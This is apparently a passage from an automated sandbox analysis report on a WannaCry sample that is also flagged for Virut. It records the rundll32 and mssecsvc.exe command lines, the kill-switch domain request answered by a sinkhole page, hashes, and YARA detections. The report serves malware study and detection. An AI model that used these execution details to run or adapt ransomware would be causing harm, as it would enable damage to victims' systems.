                                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                        Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                        1192.168.2.449820104.16.173.8080C:\Windows\mssecsvc.exe
                                                                                        TimestampkBytes transferredDirectionData
                                                                                        Jul 20, 2022 08:10:35.046397924 CEST12409OUTGET / HTTP/1.1
                                                                                        Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                        Cache-Control: no-cache
                                                                                        Jul 20, 2022 08:10:35.073319912 CEST12410INHTTP/1.1 200 OK
                                                                                        Date: Wed, 20 Jul 2022 06:10:35 GMT
                                                                                        Content-Type: text/html
                                                                                        Content-Length: 607
                                                                                        Connection: close
                                                                                        Server: cloudflare
                                                                                        CF-RAY: 72d988d90a9b9b58-FRA
                                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                        Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                        Statistics

                                                                                        CPU Usage

                                                                                        Click to jump to process

                                                                                        Memory Usage

                                                                                        Click to jump to process

                                                                                        Behavior

                                                                                        Click to jump to process

                                                                                        System Behavior

                                                                                        General

                                                                                        Target ID:0
                                                                                        Start time:08:08:28
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\loaddll32.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:loaddll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll"
                                                                                        Imagebase:0x1d0000
                                                                                        File size:116736 bytes
                                                                                        MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high

                                                                                        General

                                                                                        Target ID:1
                                                                                        Start time:08:08:29
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1
                                                                                        Imagebase:0x1190000
                                                                                        File size:232960 bytes
                                                                                        MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high

                                                                                        General

                                                                                        Target ID:2
                                                                                        Start time:08:08:29
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:rundll32.exe C:\Users\user\Desktop\kBBdc7Aoj4.dll,PlayGame
                                                                                        Imagebase:0x170000
                                                                                        File size:61952 bytes
                                                                                        MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high

                                                                                        General

                                                                                        Target ID:3
                                                                                        Start time:08:08:29
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1
                                                                                        Imagebase:0x170000
                                                                                        File size:61952 bytes
                                                                                        MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high

                                                                                        General

                                                                                        Target ID:4
                                                                                        Start time:08:08:31
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\mssecsvc.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                        Imagebase:0x400000
                                                                                        File size:3751936 bytes
                                                                                        MD5 hash:56B8EEF0A0C3B9056F49A13A77FE32FE
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.262205449.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.264092171.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.265541463.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.260179389.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000004.00000002.531306242.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.265737352.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.529470783.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.260249234.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.262261372.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                        • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                        Antivirus matches:
                                                                                        • Detection: 100%, Avira
                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                        • Detection: 87%, Metadefender, Browse
                                                                                        • Detection: 100%, ReversingLabs
                                                                                        Reputation:low

                                                                                        General

                                                                                        Target ID:5
                                                                                        Start time:08:08:33
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",PlayGame
                                                                                        Imagebase:0x170000
                                                                                        File size:61952 bytes
                                                                                        MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Reputation:high

                                                                                        General

                                                                                        Target ID:7
                                                                                        Start time:08:08:33
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\mssecsvc.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                        Imagebase:0x400000
                                                                                        File size:3751936 bytes
                                                                                        MD5 hash:56B8EEF0A0C3B9056F49A13A77FE32FE
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.268024484.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.263750999.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.269613670.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.354916405.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.265021941.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.268086584.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.269796285.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000000.265208770.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        Reputation:low

                                                                                        General

                                                                                        Target ID:9
                                                                                        Start time:08:08:36
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\winlogon.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:winlogon.exe
                                                                                        Imagebase:0x7ff775840000
                                                                                        File size:677376 bytes
                                                                                        MD5 hash:F9017F2DC455AD373DF036F5817A8870
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000000.275250828.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000000.269431373.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000000.275240067.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000002.779418890.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000009.00000002.779805560.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        Reputation:moderate

                                                                                        General

                                                                                        Target ID:10
                                                                                        Start time:08:08:38
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\mssecsvc.exe
                                                                                        Wow64 process (32bit):true
                                                                                        Commandline:C:\WINDOWS\mssecsvc.exe -m security
                                                                                        Imagebase:0x400000
                                                                                        File size:3751936 bytes
                                                                                        MD5 hash:56B8EEF0A0C3B9056F49A13A77FE32FE
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000A.00000000.273722400.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000A.00000002.357638181.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000000A.00000002.354639412.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team

                                                                                        General

                                                                                        Target ID:12
                                                                                        Start time:08:08:38
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\lsass.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\lsass.exe
                                                                                        Imagebase:0x7ff765a60000
                                                                                        File size:57976 bytes
                                                                                        MD5 hash:317340CD278A374BCEF6A30194557227
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.278345246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.274728870.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000002.779850474.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000002.779420595.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000C.00000000.278334904.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:13
                                                                                        Start time:08:08:41
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\fontdrvhost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:fontdrvhost.exe
                                                                                        Imagebase:0x7ff6e3c70000
                                                                                        File size:790304 bytes
                                                                                        MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000D.00000000.282719570.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000D.00000002.779795450.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000D.00000000.279772063.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000D.00000002.779419743.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000D.00000000.282701185.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:14
                                                                                        Start time:08:08:42
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\fontdrvhost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:fontdrvhost.exe
                                                                                        Imagebase:0x7ff6e3c70000
                                                                                        File size:790304 bytes
                                                                                        MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                        Has elevated privileges:false
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000E.00000000.284082640.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000E.00000002.779420524.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000E.00000000.282495511.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000E.00000002.779851504.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000E.00000000.284037505.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:15
                                                                                        Start time:08:08:43
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000002.779917010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.285630822.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000002.779542408.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.285350608.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.285663148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000000F.00000000.285363531.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:16
                                                                                        Start time:08:08:44
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:17
                                                                                        Start time:08:08:45
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000002.779957944.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.288356484.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.287910234.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.288244133.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000000.287920989.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000011.00000002.779554613.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                        General

                                                                                        Target ID:18
                                                                                        Start time:08:08:45
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:19
                                                                                        Start time:08:08:46
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
                                                                                        Commandline:c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
                                                                                        Imagebase:0x7ff7338d0000
                                                                                        File size:51288 bytes
                                                                                        MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:false
                                                                                        Programmed in:C, C++ or other language

                                                                                        General

                                                                                        Target ID:20
                                                                                        Start time:08:08:47
                                                                                        Start date:20/07/2022
                                                                                        Path:C:\Windows\System32\svchost.exe
                                                                                        Wow64 process (32bit):false
